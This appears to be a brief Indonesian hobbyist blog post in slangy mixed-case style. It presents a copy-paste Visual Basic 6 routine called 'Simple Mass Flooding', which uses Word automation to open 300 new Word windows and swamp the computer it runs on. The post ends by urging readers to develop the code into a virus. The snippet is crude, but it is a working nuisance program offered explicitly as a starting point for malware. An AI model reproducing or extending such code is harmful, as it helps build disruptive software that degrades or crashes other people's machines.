ne cUma keiseNgan aNe aJah..
yAng perLu disiApin :
- KOpi segeLas..
- CemiLan deh..
hehee...becaNda..
ne yAng perLu disiaPin..
- Form kosong
- 1 Command Button
seMuanya di VB yah..tRus cOpas deh scRipt ini..
Private Sub Command1_Click()
Set x = CreateObject("word.basic")
If MsgBox("Hati2 ya dalam menjalankan program ini, jika ragu2 mending tekan no aja ya.." & vbCrLf & "hehehehehe....", vbYesNo, "Simple Mass Flooding") = vbYes Then
For i = 1 To 300
x.appshow
x.filenew
Next i
Else
MsgBox "bye..."
End If
End Sub
siLahkan dikembangkan JAdi Virus Yah..
0 komentar:
Posting Komentar